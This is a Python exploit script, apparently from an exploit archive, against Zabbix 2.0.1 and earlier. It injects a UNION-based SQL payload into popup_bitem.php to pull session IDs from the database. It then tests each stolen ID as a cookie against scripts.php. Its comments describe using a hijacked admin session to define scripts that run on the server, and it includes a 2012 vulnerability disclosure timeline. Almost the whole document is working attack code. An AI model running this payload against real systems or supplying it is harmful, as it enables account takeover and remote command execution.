Zabbix 2.0.1 and Earlier Session Extractor 0day

#!/usr/bin/python
 
import re
import sys,urllib2,urllib
 
print "\n[*] Zabbix 2.0.1 Session Extractor 0day"
print "[*] http://www.offensive-security.com"
print "##################################\n"
 
'''
 
The sessions found by this tool may allow you to access the scripts.php file.
Through this web interface, an administrator can define new malicious scripts.
These scripts can then be called from the maps area, and executed with "zabbix" permissions.
 
Timeline:
 
17 Jul 2012: Vulnerabilty reported
17 Jul 2012: Reply received
18 Jul 2012: Issue opened: https://support.zabbix.com/browse/ZBX-5348
19 Jul 2012: Fixed for inclusion in version 2.0.2
 
'''
 
ip="172.16.164.150"
 
target = 'http://%s/zabbix/popup_bitem.php' % ip
url = 'http://%s/zabbix/scripts.php' % ip
 
def sendSql(num):
        global target
        payload="1)) union select 1,group_concat(sessionid) from sessions where userid='%s'#" % num
        payload="1 union select 1,1,1,1,1,group_concat(sessionid),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from sessions where userid='%s'#" % num
        values = {'dstfrm':'1','itemid':payload }
        url = "%s?%s" % (target, urllib.urlencode(values)) 
        req = urllib2.Request(url)                         
        response = urllib2.urlopen(req)                
        data = response.read()                 
        return data
 
def normal(cookie):
    global url
        req = urllib2.Request(url)
        cook = "zbx_sessionid=%s" %cookie
        req.add_header('Cookie', cook)
        response = urllib2.urlopen(req)                
        data = response.read()                 
        if re.search('ERROR: Session terminated, re-login, please',data) or re.search('You are not logged in',data) or re.search('ERROR: No Permissions',data):
                return "FAIL"
        else:
                return "SUCCESS"
 
sessions=[]
 
for m in range(1,2):
    print "[*] Searching sessions belonging to id %s" % m
        hola=sendSql(m)
        for l in re.findall(r"([a-fA-F\d]{32})", hola):
        if l not in sessions:
            sessions.append(l)
                    print "[*] Found sessionid %s - %s" % (l,normal(l))



#  0day.today [2018-03-10]  #